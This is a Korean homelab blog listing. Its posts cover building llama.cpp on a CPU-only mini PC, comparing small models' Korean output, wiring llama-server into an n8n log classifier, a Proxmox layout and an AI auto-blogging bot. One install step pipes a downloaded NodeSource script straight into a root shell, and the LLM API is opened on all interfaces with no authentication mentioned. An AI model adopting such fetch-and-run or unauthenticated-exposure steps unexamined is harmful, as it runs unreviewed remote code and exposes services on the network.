13년차의 서버실

서버, 인프라, 홈랩 기술 블로그

[작성자:] admin

  • 로컬 LLM을 n8n 자동화에 연결하기 — llama-server API로 로그 분류기 만들기 (홈랩 CPU)

    1편에서 GPU 없이 로컬 LLM을 띄웠고, 2편에서 한국어엔 Qwen2.5-3B가 낫다는 걸 실측으로 확인했습니다. 이제 마지막 단계 — 이 로컬 LLM을 실제 자동화에 연결합니다. llama.cpp를 OpenAI 호환 API 서버로 띄우고, n8n 워크플로우에 붙여서 일을 시켜 봤습니다. 결론부터: n8n이 로컬 LLM을 호출해 nginx 에러 로그를 “ERROR”로 정확히 분류하는 데까지 성공했습니다. API 요금 0원, 전부 홈랩 안에서.

    1. llama-server로 OpenAI 호환 API 띄우기

    llama.cpp에는 llama-server라는 실행 파일이 함께 빌드됩니다(1편 참고). 이걸 띄우면 OpenAI의 /v1/chat/completions와 똑같은 형식의 API가 생깁니다.

    ./build/bin/llama-server \
  -m /root/models/Qwen2.5-3B-Instruct-Q4_K_M.gguf \
  -c 4096 -t 4 \
  --host 0.0.0.0 --port 8080

    여기서 OpenAI 호환이라는 점이 핵심입니다. 세상의 수많은 도구·라이브러리·자동화 노드가 이미 “OpenAI API 형식”을 표준으로 지원하니까, URL만 내 홈랩 서버로 바꾸면 그대로 붙습니다. 외부에 돈 내고 부르던 걸 로컬로 갈아끼우는 셈이죠. --host 0.0.0.0은 같은 네트워크의 다른 기기(n8n 등)에서 접근하게 열어 주는 옵션입니다.

    2. API가 진짜 되는지 먼저 확인

    워크플로우에 붙이기 전에 curl로 직접 찔러 봤습니다.

    curl http://127.0.0.1:8080/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "qwen2.5-3b",
    "messages": [{"role":"user","content":"홈랩 자동화에 로컬 LLM을 쓰면 좋은 점 한 문장."}],
    "temperature": 0.3
  }'

    실제 응답(발췌)입니다.

    "content": "로컬 LLM은 ... 홈랩 로그의 특징을 정확하게 분류하는 데 유용할 수 있습니다.",
"usage": { "prompt_tokens": 60, "completion_tokens": 50, "total_tokens": 110 }

    토큰 사용량까지 OpenAI와 똑같은 스키마로 돌아옵니다. 이제 이걸 자동화 도구에 물릴 차례입니다.

    3. n8n 설치 — 여기서 함정을 밟았다

    자동화 도구로는 오픈소스 워크플로우 툴 n8n을 골랐습니다. 그런데 설치가 한 번에 되지 않았습니다. 최신 Debian(13)에서 npm install -g n8n이 네이티브 모듈(isolated-vm) 빌드 단계에서 죽더군요.

    ModuleNotFoundError: No module named 'distutils'
gyp ERR! configure error
npm ERR! ... isolated-vm ... not ok  (exit 127)

    원인은 Python 3.12에서 distutils가 표준 라이브러리에서 제거됐기 때문입니다. 기본 저장소의 구버전 Node/node-gyp가 이걸 아직 참조해서 빌드가 깨진 거죠. 해결은 최신 Node로 교체하는 것이었습니다.

    # NodeSource로 Node 22 설치 (npm 10 / 최신 node-gyp 포함)
curl -fsSL https://deb.nodesource.com/setup_22.x | bash -
apt-get install -y nodejs
npm install -g n8n

    Node 22로 바꾸니 네이티브 모듈이 정상 빌드되고 n8n(2.35)이 깔렸습니다. 스펙표엔 안 나오는, 직접 깔아 봐야 아는 함정이라 그대로 남겨 둡니다 — 같은 에러를 만날 분이 분명 있을 테니까요.

    4. n8n 워크플로우 구성 — 로그 분류기

    실용적인 예로 “로그 한 줄을 INFO / WARN / ERROR로 분류”하는 워크플로우를 만들었습니다. 구조는 단순합니다.

    • Manual Trigger — 실행 시작
    • HTTP Request — 로컬 LLM 호출

    HTTP Request 노드 설정이 전부입니다.

    필드 값
    Method POST
    URL http://<llama-server-IP>:8080/v1/chat/completions
    Body JSON (아래) 
    {
  "model": "qwen2.5-3b",
  "messages": [
    { "role": "system", "content": "너는 로그 분류기다. 입력 로그를 INFO/WARN/ERROR 중 하나로만 답하라." },
    { "role": "user", "content": "nginx: upstream timed out (110: Connection timed out) while reading response header" }
  ],
  "temperature": 0
}

    n8n과 llama-server가 같은 호스트면 127.0.0.1, 다른 기기면 서버의 홈랩 IP를 넣으면 됩니다. system 메시지로 “분류기” 역할을 못 박고 temperature: 0으로 답을 고정한 게 포인트입니다.

    5. 실행 결과 — 로컬 LLM이 정확히 판단했다

    워크플로우를 실행했습니다. n8n의 실제 실행 결과(요약)입니다.

    status: "success"
Local LLM 노드 → message.content: "ERROR"
timings: prompt 46 tok/s, generation 13.65 tok/s (노드 실행 1.4초)

    nginx의 upstream 타임아웃 로그를 로컬 LLM이 정확히 “ERROR”로 분류했습니다. GPU도, 외부 API도, 요금도 없이 내 홈랩 안에서 자동화 파이프라인의 부품으로 로컬 LLM이 동작한 순간입니다. 이제 이 노드 앞뒤에 트리거·알림만 붙이면 실제 운영 자동화가 됩니다.

    6. 이걸로 뭘 할 수 있나

    • 로그·알림 분류: 서버 로그를 등급으로 분류해 ERROR만 텔레그램으로 즉시 알림
    • 요약: 긴 문서·메일·뉴스를 로컬에서 요약(데이터가 외부로 안 나감)
    • 정형화: 자유 텍스트를 JSON·태그로 구조화

    핵심 이점은 비용과 프라이버시입니다. 외부 LLM API는 호출마다 돈이 들고 데이터가 밖으로 나가지만, 로컬 LLM은 몇 번을 부르든 0원이고 데이터가 홈랩을 벗어나지 않습니다. 실시간 초고성능이 필요한 게 아니라 배치·자동화 용도라면, GPU 없는 홈랩 CPU로도 충분히 실전에서 굴릴 수 있습니다.

    시리즈를 마치며

    1편 설치 → 2편 모델 선택 → 3편 자동화 연동까지, GPU 없는 i5 미니 PC 한 대로 로컬 LLM을 실전에 투입하는 전 과정을 직접 해봤습니다. “로컬 AI는 그래픽카드 있어야 한다”는 편견은, 적어도 3B급 자동화 용도에선 사실이 아닙니다. 여러분의 홈랩에도 하나 올려 보시길 권합니다.

  • 홈랩 CPU에서 로컬 LLM 3종 실측 비교 — Qwen2.5 vs Gemma 2 vs Llama 3.2 (한국어·속도)

    지난 1편에서 GPU 없는 i5 홈랩에 llama.cpp를 올리고 Qwen2.5-3B 하나를 돌려봤습니다. 그러자 당연한 질문이 남습니다 — “그럼 다른 모델은? 어떤 게 제일 나은데?” 그래서 소형 모델 3종을 완전히 같은 조건에서 돌려 속도와 한국어 품질을 실측했습니다. 결론부터 말하면, 한국어로 쓸 거면 Qwen2.5-3B가 1순위입니다. 그런데 그 과정에서 예상 못 한 함정도 하나 밟았습니다(마지막에).

    1. 실험 조건 — 공정하게 맞췄다

    비교가 의미 있으려면 변수를 통제해야 합니다. 세 모델 모두 아래 조건으로 통일했습니다.

    • 같은 컨테이너: LXC 4코어 / 8GB (1편과 동일)
    • 같은 양자화: Q4_K_M (4비트)
    • 같은 스레드: -t 4
    • 속도는 llama-bench, 품질은 동일 프롬프트를 llama-cli로

    대상 모델은 홈랩 CPU에서 현실적인 2~3B급으로 골랐습니다.

    모델 파라미터 파일 크기(Q4_K_M)
    Qwen2.5-3B-Instruct 3.09B 1.79 GiB
    Gemma 2 2B-it 2.61B 1.59 GiB
    Llama 3.2 3B-Instruct 3.21B 1.87 GiB

    2. 속도 실측 — Gemma가 가장 빠르다

    ./build/bin/llama-bench \
  -m /root/models/Qwen2.5-3B-Instruct-Q4_K_M.gguf \
  -m /root/models/gemma-2-2b-it-Q4_K_M.gguf \
  -m /root/models/Llama-3.2-3B-Instruct-Q4_K_M.gguf \
  -t 4 -p 512 -n 128
    모델 프롬프트 처리 (pp512) 생성 (tg128)
    Qwen2.5-3B 58.7 tok/s 13.83 tok/s
    Gemma 2 2B 79.9 tok/s 15.07 tok/s
    Llama 3.2 3B 58.5 tok/s 13.35 tok/s

    예상대로 Gemma 2 2B가 가장 빠릅니다. 파라미터가 2.6B로 가장 작으니 당연한 결과죠. Qwen과 Llama는 둘 다 3B급이라 속도는 사실상 동률(생성 13토큰대)입니다. 즉 속도만 보면 크기 순서 그대로이고, 셋 다 CPU에서 실사용 가능한 범위입니다. 그럼 승부는 품질에서 갈립니다.

    3. 한국어 품질 — 여기서 갈린다

    세 모델에 똑같은 질문을 던졌습니다.

    홈 서버 초보자에게 SSH 키 인증이 비밀번호 방식보다
안전한 이유를 3문장으로 설명해줘.

    아래는 각 모델의 실제 출력입니다(발췌, 가공 없음).

    Qwen2.5-3B — 자연스럽고 정확

    SSH 키 인증은 비밀번호 방식보다 보안이 더 강화되어 있으며, 키는 암호화되어 있어 단방향으로 전송되어야 하므로 공유되는 데이터가 아닌 개인의 비밀로 보호됩니다. 이는 공유된 컴퓨터 환경에서 특히 중요한 요소이며, 악의적인 공격자가 비밀번호를 해독하는 것은 더 어렵습니다.

    문장이 매끄럽고 내용도 맞습니다. 3B 소형 모델 치고 한국어 완성도가 확실히 높습니다.

    Gemma 2 2B — 무난하고 가볍다

    SSH 키 인증은 비밀번호 방식보다 더 안전하며, 이유는 첫째, SSH 키는 개인이 직접 생성하고 유지하며, 둘째, SSH 키는 서버와 사용자 간의 연결을 위한 신뢰도를 높이고, 셋째, 키는 암호화 방식으로 사용하여 비밀을 유지한다는 점 때문이다.

    2.6B밖에 안 되는데 한국어가 깔끔합니다. 요청한 “첫째·둘째·셋째” 구조도 잘 지켰고요. 내용 깊이는 Qwen보다 살짝 얕지만, 가장 빠르면서도 한국어가 무너지지 않는다는 게 강점입니다.

    Llama 3.2 3B — 한국어가 무너진다

    1. mật secret.key는 해킹자가 쉽게 obten할 수 있는 sensitive information이 아니기 때문입니다. …
    2. secret.key는 해킹자가 얻어도 사용할 수 있는 information이기 때문에 … (2·3번 문장 거의 동일하게 반복)

    가장 크고(3.21B) 유명한 모델인데, 한국어는 셋 중 최악이었습니다. 외국어(“mật”, “obten”, “information”)가 뒤섞이고, 같은 문장을 반복하고, 내용도 부정확했습니다. Llama 3.2는 영어 중심으로 학습돼 소형 버전의 한국어가 약합니다. 영어로 쓸 거면 몰라도, 한국어 용도로는 비추천입니다.

    4. 내가 밟은 함정 — Llama 3.2가 메모리를 터뜨렸다

    사실 Llama 3.2는 처음에 실행하자마자 죽었습니다. 로그를 보니 Killed, 종료 코드 137(OOM). 8GB나 비어 있는데 왜?

    원인은 기본 컨텍스트 길이였습니다. Llama 3.2는 학습 컨텍스트가 128K 토큰이라, 옵션을 안 주면 llama.cpp가 그 거대한 KV 캐시를 통째로 잡으려다 메모리를 초과합니다. Qwen·Gemma는 기본값이 작아 문제없었던 것이죠. 해결은 간단합니다 — 컨텍스트를 명시적으로 제한하면 됩니다.

    # -c 로 컨텍스트를 4096으로 제한하면 정상 동작
./build/bin/llama-cli \
  -m /root/models/Llama-3.2-3B-Instruct-Q4_K_M.gguf \
  -c 4096 -p "..." -n 200 -t 4 -st

    홈랩처럼 RAM이 넉넉하지 않은 환경에서 큰 컨텍스트 모델을 돌릴 땐 -c를 습관처럼 붙이는 게 안전합니다. 이건 스펙표만 봐선 절대 모르고, 직접 돌려봐야 아는 함정입니다.

    5. 결론 — 용도별 추천

    우선순위 추천 모델 이유
    한국어 품질 Qwen2.5-3B 가장 자연스럽고 정확. 홈랩 한국어 1순위
    속도·초경량 Gemma 2 2B 가장 빠르고 가벼우면서 한국어도 무난
    영어 전용 Llama 3.2 3B 한국어는 약함. 영어 작업엔 선택지

    제 결론은 “한국어 홈랩 CPU 추론이면 Qwen2.5-3B를 기본으로, 더 가볍고 빠르게 가고 싶으면 Gemma 2 2B”입니다. 파라미터 수나 유명세가 아니라, 같은 조건에서 직접 돌려본 결과가 이렇게 갈립니다.

    다음 편 예고

    이제 쓸 만한 모델을 골랐으니, 다음 편에서는 llama-server로 OpenAI 호환 API를 띄우고, 이걸 n8n 자동화에 연결해 실제로 일을 시키는 과정을 정리하겠습니다. 로컬 LLM이 장난감을 넘어 파이프라인의 부품이 되는 단계입니다.

  • GPU 없이 로컬 LLM 돌리기 — i5 홈랩 + llama.cpp 실전 (설치부터 첫 구동, 실측 13토큰/초)

    “로컬 LLM 돌리려면 그래픽카드부터 사야지” — 대부분 이렇게 알고 계실 겁니다. 그런데 제 홈랩엔 외장 그래픽카드가 없습니다. Intel i5-8500에 내장그래픽(UHD 630)뿐이라 CUDA는 애초에 못 씁니다. 그래서 직접 해봤습니다 — GPU 없이 CPU만으로 로컬 LLM을. 결론부터 숫자로 말하면, 3B 모델이 초당 13.85토큰으로 돌아갑니다. 읽는 속도보다 빠릅니다. 설치부터 첫 구동, 실측까지 그대로 공개합니다.

    1. 왜 CPU인가 — GPU 없는 홈랩의 현실

    홈랩용 미니 PC나 중고 서버엔 외장 GPU가 없는 경우가 훨씬 많습니다. 전력·발열·가격 때문이죠. 제 환경도 그렇습니다.

    • CPU: Intel i5-8500 (6코어) — AVX2 지원
    • GPU: Intel UHD 630 내장그래픽뿐 → NVIDIA/CUDA 경로 불가

    많은 “로컬 LLM 설치” 글이 NVIDIA Driver + CUDA 설치부터 시작하는데, 그래픽카드가 없으면 그 글은 무용지물입니다. 다행히 llama.cpp는 순수 CPU 추론을 제대로 지원하고, 소형 양자화 모델이라면 CPU로도 충분히 쓸 만합니다. 이 글은 정확히 그 경우를 다룹니다.

    2. 실제 구성 — LXC 컨테이너로 격리

    호스트에 직접 깔지 않고 Proxmox LXC 컨테이너 하나를 새로 만들어 그 안에 구축했습니다. 이유는 단순합니다 — 빌드 도구·모델 파일이 호스트를 어지럽히지 않게 격리하고, 실험이 꼬이면 컨테이너째 버리면 되니까요.

    항목 할당 비고
    OS Debian 13 (trixie) gcc 14.2 / cmake 3.31
    vCPU 4코어 추론 스레드 4개
    RAM 8GB 3B 모델(1.8GB) + 여유 충분
    디스크 24GB 빌드 + 모델 몇 개

    3B 모델은 8GB면 넉넉합니다. 오히려 CPU 추론에서 진짜 자원은 메모리 대역폭이라, 코어를 무작정 늘린다고 비례해서 빨라지지 않습니다(뒤에서 실측).

    3. llama.cpp 빌드 — AVX2 네이티브가 핵심

    먼저 빌드 도구를 설치합니다.

    apt-get update
apt-get install -y build-essential cmake git libcurl4-openssl-dev ccache wget

    소스를 받아 빌드합니다. CPU 추론 속도를 좌우하는 건 -DGGML_NATIVE=ON입니다. 이 옵션이 현재 CPU의 명령어 확장(AVX2 등)을 최대한 활용하도록 컴파일해 줍니다. 이걸 빼면 체감 속도가 뚝 떨어집니다.

    cd /root
git clone --depth 1 https://github.com/ggml-org/llama.cpp
cd llama.cpp
cmake -B build -DGGML_NATIVE=ON -DLLAMA_CURL=ON -DCMAKE_BUILD_TYPE=Release
cmake --build build -j4 --config Release

    4코어에서 몇 분이면 끝납니다. 빌드가 끝나면 build/bin/ 아래에 실행 파일이 생깁니다. 우리가 쓸 건 세 개입니다.

    • llama-cli — 실제 대화·생성
    • llama-bench — 성능 측정 전용
    • llama-server — OpenAI 호환 API 서버(다음 편에서 활용)

    4. 모델 선택 — 왜 Qwen2.5-3B Q4_K_M인가

    CPU·소형 환경에서 한국어까지 쓸 만한 모델로 Qwen2.5-3B-Instruct를 골랐습니다. 파일명 뒤의 Q4_K_M이 중요한데, 이건 양자화(quantization) 방식입니다.

    • 원본 모델은 파라미터를 16비트로 저장 → 3B라도 6GB가 넘습니다.
    • Q4_K_M은 4비트로 압축한 버전 → 같은 모델이 1.8GB로 줄어듭니다.
    • 품질 손실은 체감상 미미하면서 CPU·메모리 부담을 크게 줄여, 홈랩 CPU 추론의 사실상 표준입니다.
    mkdir -p /root/models && cd /root/models
wget -O Qwen2.5-3B-Instruct-Q4_K_M.gguf \
  "https://huggingface.co/bartowski/Qwen2.5-3B-Instruct-GGUF/resolve/main/Qwen2.5-3B-Instruct-Q4_K_M.gguf"

    5. 첫 구동 — 진짜 한국어가 나온다

    바로 물어봤습니다.

    ./build/bin/llama-cli \
  -m /root/models/Qwen2.5-3B-Instruct-Q4_K_M.gguf \
  -p "홈랩에서 GPU 없이 CPU만으로 로컬 LLM을 돌릴 때의 장점 3가지를 간단히 알려줘." \
  -n 220 -t 4 -st

    실제로 나온 답변입니다(가공 없음).

    GPU 없이 CPU만으로 로컬 LLM을 실행할 때의 장점은 다음과 같습니다:

    1. 비용 절감: GPU가 필요하지 않아 소프트웨어 구동에 필요한 비용을 줄일 수 있습니다.
    2. 컴퓨팅 능력: CPU는 보통 GPU보다 더 저렴한 가격과 더 적은 부피를 가지고 있지만, 특정 작업에는 충분한 컴퓨팅 능력을 제공할 수 있습니다.
    3. 편리성: CPU가 설치된 컴퓨터를 사용하면, 별도의 GPU 장치 구매나 설치 없이도 로컬 LLM을 실행할 수 있습니다.

    마크다운 서식까지 알아서 잡아 줍니다. 3B 소형 모델이라 아주 복잡한 추론은 무리지만, 요약·번역·분류·간단한 글쓰기 같은 실무 자동화용으로는 충분한 품질입니다.

    6. 실측 성능 — 초당 몇 토큰?

    체감이 아니라 숫자로 재려고 llama-bench를 돌렸습니다.

    ./build/bin/llama-bench \
  -m /root/models/Qwen2.5-3B-Instruct-Q4_K_M.gguf \
  -t 4 -p 512 -n 128
    테스트 속도 의미
    pp512 (프롬프트 처리) 58.8 tok/s 입력을 읽어들이는 속도
    tg128 (텍스트 생성) 13.85 tok/s 답변을 뱉는 속도

    핵심은 생성 속도 13.85 tok/s입니다. 한국어 기준 사람이 눈으로 읽는 속도가 대략 초당 7~10토큰 남짓이니, 읽는 것보다 빠르게 답이 흘러나옵니다. 대화형으로 써도 답답하지 않고, 모델 파일이 1.8GB라 8GB 컨테이너에 메모리도 여유롭습니다. “GPU 없으면 로컬 LLM은 못 쓴다”는 편견이 3B급에서는 사실이 아닙니다.

    7. CPU-only의 한계 — 정직하게

    • 큰 모델은 느립니다. 14B·32B급으로 가면 CPU에선 초당 1~3토큰으로 뚝 떨어져 실시간 대화엔 부적합합니다. CPU의 스윗스팟은 3B~8B입니다.
    • 코어 늘린다고 비례하지 않습니다. CPU 추론은 메모리 대역폭에 묶여서, 스레드를 물리 코어 이상으로 올리면 오히려 손해입니다. 코어 수보다 -DGGML_NATIVE=ON 빌드가 더 큰 차이를 냅니다.
    • 진짜 큰 모델·낮은 지연이 필요하면 그때 GPU를 고민하면 됩니다. 하지만 요약·번역·자동화 파이프라인 용도라면 3B CPU로 충분합니다.

    다음 편 예고

    1편은 “일단 돌린다”였습니다. 다음 편에서는 모델별 실측 비교(Qwen2.5-3B vs Gemma 2 vs Llama 3.2, 속도·한국어 품질)를 다루고, 그다음 편에서는 llama-server로 API를 띄워 n8n·자동화에 로컬 LLM을 연동하는 실전을 정리하겠습니다. GPU 없는 홈랩에서도 충분히 갈 수 있습니다.

  • 미니 PC 한 대로 홈랩 굴리기 — LXC 18개 + VM 9개 실제 구성

    거창한 랙 서버 없이, 중고 미니 PC 한 대로 홈랩을 굴리고 있습니다. 스펙만 보면 소박한데, 그 위에 LXC 컨테이너 18개 + VM 9개가 정의돼 있고 상시 10여 개가 돌아갑니다. “6코어짜리 한 대로 그게 되나?” 싶으실 텐데, 됩니다 — 대신 몇 가지 원칙이 있습니다. 실제 구성과 리소스 배분을 그대로 공개합니다.

    1. 하드웨어 — 왜 미니 PC 한 대인가

    • Intel i5-8500 (6코어) · 32GB RAM, Proxmox VE 8.4
    • 랙·서버를 안 쓴 이유는 단순합니다: 전력·소음·비용. 24시간 켜두는 홈랩에서 전기세와 소음은 생각보다 중요합니다.
    • 6코어 미니 PC는 유휴 전력이 낮고 조용하면서도, 컨테이너 수십 개를 얹기엔 충분합니다.

    2. LXC vs VM — 뭘로 돌릴지 나누는 기준

    이 홈랩의 핵심 철학입니다. 둘을 용도로 확실히 나눴습니다.

    LXC 컨테이너 VM (가상머신)
    용도 상시 돌리는 가벼운 서비스 커널·격리가 필요한 학습/실험
    오버헤드 매우 낮음(호스트 커널 공유) 높음(전체 OS)
    예시 NAS, 사진 서버, VPN, 웹 OpenStack 클러스터, k8s, Home Assistant OS

    덕분에 상시 서비스는 LXC로 가볍게 얹고, OS 전체가 필요한 학습(쿠버네티스·오픈스택)은 VM으로 격리합니다. 미니 PC 한 대에 이만큼 얹을 수 있는 결정적 이유가 이 구분입니다.

    3. 실제로 뭘 돌리나

    카테고리별로 정리하면 이렇습니다.

    • 스토리지·파일: NAS 파일서버 LXC + ZFS 기반 대용량 풀(약 9TB, NAS 디스크 연동)
    • 사진: Immich(구글 포토 대체) — 4코어 6GB 할당
    • 네트워크: WireGuard VPN(1코어 512MB면 충분) — 외부에서 홈랩 안전 접속
    • 웹: WordPress 블로그 + 블로그 자동발행 봇(별도 글에서 다룸)
    • 홈 오토메이션: Home Assistant OS(HAOS)는 VM으로 — 전용 OS라 격리가 편함
    • 학습 랩: OpenStack 컨트롤·컴퓨트 노드 여러 대, 쿠버네티스, Ansible 실습용 VM — 필요할 때만 켬
    • 그 외 개인 프로젝트 앱 몇 개와 모니터링 도구

    4. 리소스 배분의 현실 — vCPU는 오버커밋, RAM이 진짜 병목

    여기가 “6코어로 되냐”의 답입니다. 상시 돌아가는 LXC들의 할당 vCPU만 합쳐도 물리 6코어를 훌쩍 넘습니다(20 vCPU 이상). 그래도 문제없이 도는 이유는 —

    • vCPU는 과감히 오버커밋합니다. LXC 대부분은 평소 유휴 상태라, vCPU를 물리 코어보다 몇 배 얹어도 실제 경합은 드뭅니다.
    • 진짜 한계는 RAM입니다. RAM은 오버커밋이 위험하니 32GB 안에서 실사용을 맞춥니다. 그래서 안 쓰는 컨테이너·VM은 과감히 정지해 둡니다(특히 무거운 학습 VM은 실습할 때만 부팅).
    • 무거운 학습 VM(예: OpenStack 스터디)은 16GB씩 먹기도 해서, 동시에 켜지 않는 것이 원칙입니다.

    정리하자면 “코어는 나눠 쓰고, 메모리는 아껴 쓰고, 안 쓰면 끈다” — 이 세 가지로 미니 PC 한 대에 수십 개를 얹습니다.

    5. 스토리지 구성

    • local-zfs — 컨테이너·VM 루트 디스크(ZFS). 스냅샷·복제가 편합니다.
    • NAS 연동 대용량 ZFS 풀 — 사진·파일 같은 큰 데이터용(약 9TB).
    • iso_storage — ISO·템플릿 보관용 디렉토리 스토리지.

    ZFS를 쓰는 이유는 스냅샷입니다. 컨테이너 업데이트 전 스냅샷 하나 찍어두면, 꼬였을 때 몇 초 만에 되돌립니다. 홈랩에서 이만한 안전장치가 없습니다.

    6. 이렇게 굴리며 배운 것

    • 서비스는 LXC부터. VM은 정말 커널/전용 OS가 필요할 때만. 미니 PC의 체급을 몇 배로 늘려줍니다.
    • RAM 예산부터 세우세요. vCPU는 겁내지 말고 오버커밋해도, RAM은 실사용 기준으로 빡빡하게.
    • 안 쓰는 건 끄는 습관. “언젠가 쓸” VM이 RAM을 잡아먹습니다. 학습용은 부팅→실습→종료.
    • ZFS 스냅샷은 필수. 실험적인 홈랩일수록 되돌리기가 생명입니다.

    거창한 장비 없이도, 구분만 잘하면 미니 PC 한 대가 꽤 많은 걸 감당합니다. 홈랩 시작하시는 분께 “일단 미니 PC + Proxmox + LXC부터”를 권하는 이유입니다.

  • AI로 기술 블로그를 매일 자동 발행하는 봇을 만들었다 — 구조·삽질·그리고 애드센스에 거절당한 이야기

    매일 기술 블로그에 글을 올리는 건 생각보다 큰 부담입니다. 어느 날 문득 “이거 AI한테 시키면 되지 않나?” 싶어서, 홈랩에 기술 블로그를 자동으로 기획·작성·발행하는 봇을 만들어 몇 달을 돌려봤습니다.

    결론부터 솔직히 말하면 — 기술적으로는 돌아가는데, 정작 광고 수익화(애드센스)에서 “가치 낮은 콘텐츠”로 거절당했습니다. 성공담이 아니라, 만들면서 겪은 구조와 삽질, 그리고 그 벽까지 그대로 남깁니다. 비슷한 걸 만들려는 분께는 이 실패 기록이 더 쓸모 있을 겁니다.

    1. 전체 그림

    봇은 홈랩 Proxmox LXC 안의 Docker 컨테이너로 24/7 돌아갑니다. 텔레그램 봇으로 조종하고, 스케줄에 맞춰 자동 발행합니다. 발행처는 둘입니다.

    • 티스토리 — REST API가 없어서 Playwright(헤드리스 Chromium)로 에디터를 직접 조작합니다. 로그인 세션을 저장해두고, 글쓰기 화면에 HTML을 밀어 넣는 방식.
    • 워드프레스 — 이쪽은 REST API로 깔끔하게 발행합니다.
    # docker-compose.yml (핵심만)
services:
  blog-bot:
    build: .
    container_name: blog-bot-telegram
    init: true          # Playwright chromium 좀비 프로세스 회수(tini)
    restart: unless-stopped
    env_file: .env
    environment: [ "TZ=Asia/Seoul" ]
    volumes:
      - ./data:/app/data      # 발행 이력·주제 큐
      - ./output:/app/output  # 초안·이미지
      - ./auth:/app/auth       # 로그인 세션·토큰

    2. 글 한 편이 나오기까지 — 파이프라인

    글 하나가 발행되기까지 이런 단계를 거칩니다.

    1. 주제 선정 — 카테고리·키워드 시드 + 실제 검색 데이터(Search Console)로 후보 생성 → 중복 제거
    2. 초안 생성 — LLM으로 본문 초안 작성
    3. 심화 재작성 — 시니어 에디터 관점으로 깊이·구체성 강화(명령어·표·결론)
    4. 품질 게이트 — 코드블록·표·분량·상투어 자동 검사 후 미달이면 1회 보강
    5. 팩트체크·SEO — 없는 제품/버전 걸러내고 메타·키워드 정리
    6. 이미지 생성 — 썸네일·본문 이미지 자동 생성(무료 이미지 API 폴백 체인)
    7. 발행 → 색인 요청 — 티스토리+워드프레스 발행 후 Google Indexing + IndexNow로 색인 알림

    3. 뇌: 어떤 LLM을 쓰나 (그리고 비용 이야기)

    가장 자주 받는 질문이 “API 비용 많이 나오지 않냐”인데, 건당 과금은 0원입니다. 비결은 정액 구독 CLI를 subprocess로 호출하는 것입니다.

    • 1순위: Codex CLI(ChatGPT 구독) → 2순위: Claude Code CLI(Max 구독) → 최종 폴백: Gemini 무료 티어
    • 즉 per-token API가 아니라 이미 있는 구독 한도를 쓰므로, 글을 아무리 써도 추가 요금이 안 붙습니다.

    물론 삽질도 있었습니다. Claude Code CLI는 3,000자짜리 한국어 글 생성에서 자주 멈춰(타임아웃) 결국 Codex를 주력으로 돌렸고, 또 Codex가 ChatGPT 계정에서 쓸 수 있는 모델이 몇 주 단위로 바뀝니다(gpt-5.4 → gpt-5.5로 교체되며 옛 모델이 “not supported”로 죽음). 그래서 모델명은 환경변수로 빼두고 주기적으로 갈아줘야 했습니다.

    4. 진짜 어려웠던 것들 — 삽질 모음

    인프라를 올리는 것보다, 운영하며 튀어나온 자잘한 문제들이 훨씬 오래 걸렸습니다.

    증상 원인 해결
    주제가 매일 비슷 같은 카테고리·포맷 반복 제목·slug 핵심 토큰의 ‘개념 시그니처’로 다층 중복 제거 + 주제 백로그 큐
    LLM 응답 JSON 파싱 실패 본문 문자열에 이스케이프 안 된 줄바꿈(제어문자) json.loads(strict=False)로 허용
    티스토리 코드블록 색이 엉뚱 에디터가 언어를 오탐(bash→fortran) 삽입 전 티스토리 형식 <pre class="bash">으로 변환
    빌드 실패 LXC 디스크 꽉 참(Chromium 이미지 큼) rootfs 확장 + 빌드 캐시 정리
    좀비 프로세스 누적 Playwright Chromium 잔여 프로세스 docker init: true(tini)로 회수
    텔레그램 알림 폭주 글마다 진행 알림 하루 1회 요약 + 문제 발생 시에만 알림

    5. 가장 큰 교훈 — 애드센스가 거절했다

    여기가 이 글을 쓰는 진짜 이유입니다. 파이프라인을 아무리 다듬어도(코드블록·표·심화 재작성·품질 게이트까지), 애드센스는 “가치가 별로 없는 콘텐츠”로 두 번 거절했습니다.

    깨달은 건 명확합니다. 2026년의 Google은 AI 콘텐츠 자체를 금지하지 않습니다. 다만 “규모로 대량생산된, 어디서나 볼 수 있는, 저자를 검증할 수 없는” 콘텐츠를 저가치로 봅니다. 제 봇이 만든 글은 문법·구조는 멀쩡해도, 결국 “이 사이트에만 있는 고유한 경험”이 없었습니다. 웹에 있는 정보를 잘 정리한 것뿐이지, 제가 직접 겪은 무언가가 아니었으니까요.

    우회하려 발행량을 줄이고 품질 기준을 높여봤지만, 근본은 형태가 아니라 “누가 실제로 겪은 이야기냐”였습니다. 그래서 방향을 틀었습니다 — 지금 읽고 계신 이 글처럼, 봇이 아니라 제가 직접 겪은 것을 쓰는 쪽으로요.

    6. 만들려는 분께 — 솔직한 조언

    • 자동화 자체는 주말 프로젝트 수준입니다. LXC + Docker + 구독 CLI면 per-token 비용 0으로 돌아갑니다. 진짜 어려운 건 코드가 아니라 “가치”입니다.
    • AI 자동 블로그로 광고 수익을 노린다면, 2026년 기준 매우 어렵습니다. 완전 자동 합성 콘텐츠는 애드센스 심사의 정면 대상입니다.
    • 대신 AI를 “초안 도우미”로 쓰고, 본인의 실제 경험·데이터·스크린샷을 얹으세요. 그게 사람에게도 검색엔진에도 유일하게 통하는 차별점입니다.

    완전 자동화의 꿈은 절반만 이뤘습니다. 파이프라인은 잘 돌지만, 그 위에 “사람”이 없으면 결국 벽에 부딪히더라고요. 이 글이 같은 길을 걷는 분께 시간을 아껴주면 좋겠습니다.

  • [HomeLabs] GMKtec 미니PC 6개월 사용기: 기대와 현실 사이

    [HomeLabs] GMKtec 미니PC 6개월 사용기: 기대와 현실 사이

    목차

    [미니PC 사용기] GMKtec 6개월 사용 후 느낀 점: 기대와 현실 사이

    안녕하세요, 13년차 서버실 지기입니다. 오늘은 제가 6개월간 홈랩에서 굴려본 GMKtec 미니PC 사용기를 풀어볼까 합니다. 작은 고추가 맵다고, 미니PC가 인프라 엔지니어의 로망을 얼마나 채워줄 수 있을까요? 특히 GMKtec 같은 가성비 좋은 제품들은 저 같은 홈랩 운영자들에게 큰 유혹이거든요. 처음엔 ‘이 작은 게 뭘 할 수 있겠어?’ 싶었는데, 막상 써보니 기대와 현실 사이에서 꽤 많은 걸 느끼게 되더라고요. 삽질의 연속이었지만, 솔직한 후기를 공유해 드릴게요. 여러분의 가성비 미니PC 선택에 도움이 되길 바랍니다.

    홈랩 환경에 설치된 GMKtec 미니PC의 전체 모습

    홈랩 환경에 설치된 GMKtec 미니PC의 전체적인 모습입니다. 작지만 강력한 잠재력을 가지고 있죠.

    GMKtec 미니PC, 과연 무엇을 기대했나?

